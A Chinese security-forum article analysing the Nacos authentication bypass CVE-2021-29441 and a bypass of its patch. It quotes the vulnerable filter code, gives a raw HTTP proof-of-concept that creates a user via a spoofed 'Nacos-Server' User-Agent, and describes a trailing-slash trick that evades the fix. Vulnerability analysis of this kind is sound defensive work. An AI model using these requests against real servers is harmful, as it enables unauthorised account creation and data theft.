问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
Nacos 认证绕过漏洞(CVE-2021-29441)及其补丁绕过分析
漏洞分析
漏洞原理本身不复杂,但是整个分析过程、后续的补丁绕过,以及认证绕过的后续利用挖掘,还是很有意思,因此写这篇文章进行分析。
### 漏洞背景 阿里巴巴在2018年7月份发布Nacos, Nacos是一个更易于构建云原生应用的动态服务发现、配置管理和服务管理平台。简单来说,Nacos就是一个类似于Zookeeper的配置中心。 该漏洞发生在nacos在进行认证授权操作时,会判断请求的user-agent是否为"Nacos-Server",如果是的话则不进行任何认证。开发者原意是用来处理一些服务端对服务端的请求。但是由于配置的过于简单,并且将协商好的user-agent设置为Nacos-Server,直接硬编码在了代码里,导致了漏洞的出现。并且利用这个未授权漏洞,攻击者可以获取到用户名密码等敏感信息。 ### 漏洞详情 漏洞出现在`com.alibaba.nacos.core.auth.AuthFilter#doFilter`函数,如果useragent等于`Constants.NACOS_SERVER_HEADER`这个常量,那么就进入下一个filter,不在进行认证校验。 ```Java public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException { if (!authConfigs.isAuthEnabled()) { chain.doFilter(request, response); return; } HttpServletRequest req = (HttpServletRequest) request; HttpServletResponse resp = (HttpServletResponse) response; String userAgent = WebUtils.getUserAgent(req); if (StringUtils.startsWith(userAgent, Constants.NACOS_SERVER_HEADER)) { chain.doFilter(request, response); return; } try { Method method = methodsCache.getMethod(req); if (method == null) { chain.doFilter(request, response); return; } if (method.isAnnotationPresent(Secured.class) && authConfigs.isAuthEnabled()) { if (Loggers.AUTH.isDebugEnabled()) { Loggers.AUTH.debug("auth start, request: {} {}", req.getMethod(), req.getRequestURI()); } Secured secured = method.getAnnotation(Secured.class); String action = secured.action().toString(); String resource = secured.resource(); if (StringUtils.isBlank(resource)) { ResourceParser parser = secured.parser().newInstance(); resource = parser.parseName(req); } if (StringUtils.isBlank(resource)) { // deny if we don't find any resource: throw new AccessException("resource name invalid!"); } authManager.auth(new Permission(resource, action), authManager.login(req)); } chain.doFilter(request, response); } catch (AccessException e) { if (Loggers.AUTH.isDebugEnabled()) { Loggers.AUTH.debug("access denied, request: {} {}, reason: {}", req.getMethod(), req.getRequestURI(), e.getErrMsg()); } resp.sendError(HttpServletResponse.SC_FORBIDDEN, e.getErrMsg()); return; } catch (IllegalArgumentException e) { resp.sendError(HttpServletResponse.SC_BAD_REQUEST, ExceptionUtil.getAllExceptionMsg(e)); return; } catch (Exception e) { resp.sendError(HttpServletResponse.SC_INTERNAL_SERVER_ERROR, "Server failed," + e.getMessage()); return; } } ``` 绕过认证之后就可以进行很多危险的操作,例如`com.alibaba.nacos.console.controller.UserController`中的操作。 ```JavaScript @Secured(resource = NacosAuthConfig.CONSOLE_RESOURCE_NAME_PREFIX + "users", action = ActionTypes.WRITE) @PostMapping public Object createUser(@RequestParam String username, @RequestParam String password) { User user = userDetailsService.getUserFromDatabase(username); if (user != null) { throw new IllegalArgumentException("user '" + username + "' already exist!"); } userDetailsService.createUser(username, PasswordEncoderUtil.encode(password)); return RestResultUtils.success("create user ok!"); } ``` 这个controller中包含了创建用户、删除用户等行为 如下poc即可创建一个新用户 ```Java POST /nacos/v1/auth/users?username=123&password=123 HTTP/1.1 User-Agent: Nacos-Server Host: 127.0.0.1:8848 Accept: */* ``` 补丁修复 ---- 在1.4.1版本中,增加了一段修复代码,第一个if中,为原本的逻辑,也是默认情况下的逻辑,依然是判断User-Agent头中是否是以Nacos-server开头,,第二个if中为新增逻辑,从用户的请求中获取一个键值对,判断与配置中的键值对是否相同,如果不相同则不会进入chain.doFilter [![](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-1c2b00c77e3ee346e732eeea735d5824c6739eb9.png)](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-1c2b00c77e3ee346e732eeea735d5824c6739eb9.png) 补丁绕过 ---- 在补丁的第二个if中,如果用户开启了这个安全配置,且攻击者匹配失败,那么不会进入chain.doFilter,而是继续往之后的流程走,而在这段代码的下方,是这段代码 ```Java try { Method method = methodsCache.getMethod(req); if (method == null) { chain.doFilter(request, response); return; } ``` 如果能使getMethod方法返回null,那么认证就会被绕过。 ```Java public Method getMethod(HttpServletRequest request) { String path = getPath(request); if (path == null) { return null; } String httpMethod = request.getMethod(); String urlKey = httpMethod + REQUEST_PATH_SEPARATOR + path.replace(contextPath, ""); List<RequestMappingInfo> requestMappingInfos = urlLookup.get(urlKey); if (CollectionUtils.isEmpty(requestMappingInfos)) { return null; } List<RequestMappingInfo> matchedInfo = findMatchedInfo(requestMappingInfos, request); if (CollectionUtils.isEmpty(matchedInfo)) { return null; } ``` 从代码来看,有多个返回null的机会,先看第一个getPath函数 ```Java private String getPath(HttpServletRequest request) { String path = null; try { path = new URI(request.getRequestURI()).getPath(); } catch (URISyntaxException e) { LOGGER.error("parse request to path error", e); } return path; } ``` 这个是我们的请求路径,不可能为null,看第二部分 ```Java String urlKey = httpMethod + REQUEST_PATH_SEPARATOR + path.replace(contextPath, ""); List<RequestMappingInfo> requestMappingInfos = urlLookup.get(urlKey); if (CollectionUtils.isEmpty(requestMappingInfos)) { return null; } ``` 这个urllookup存放了所有的api [![](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-a1cfb9275db99ab6233b2bdab2fe765e55b16db3.png)](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-a1cfb9275db99ab6233b2bdab2fe765e55b16db3.png) 这里的绕过用到了一个小trick,一个普通的请求 ```Java http://127.0.0.1/user/login?username=1&password=2 ``` 通过`new URI(request.getRequestURI()).getPath();`处理后,得到的path是`/user/login`。 但是如果请求长这个样子 ```Java http://127.0.0.1/user/login/?username=1&password=2 ``` 那么得到的path会是`/user/login/` 而这样子的path,在urlkey中会get不到数据,从而导致了绕过,并且在后续的filter处理中这个多出来的`/`并不会影响路由结果。 [![](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-3119c0a91772fd5734f311d641ee7f90d5031abc.png)](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-3119c0a91772fd5734f311d641ee7f90d5031abc.png) ### 绕过补丁 官方在这个commit中修复了这此绕过<https://github.com/alibaba/nacos/commit/2cc0be6ae1cee1f2bcd2b19886380a15004eae47#diff-d5e3e36338473d502083b47c9a5d3e162203eb17eea81e406bfa2e046ff30c7f>。 [![](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-afa1298899fd8c99e8446a4bd34f09b5cc916cc7.png)](https://shs3.b.qianxin.com/attack_forum/2021/08/attach-afa1298899fd8c99e8446a4bd34f09b5cc916cc7.png) 在urllookup中存放URL路径时均会在最后增加一个`/`,导致之前的绕过失效。
发表于 2021-08-31 16:39:08
阅读 ( 10518 )
分类:
漏洞分析
0 推荐
收藏
1 条评论
chentaotao
2022-04-14 16:09
升级版本也不行,用最新的2.0.4问题还是存在
请先
登录
后评论
请先
登录
后评论
无糖
8 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!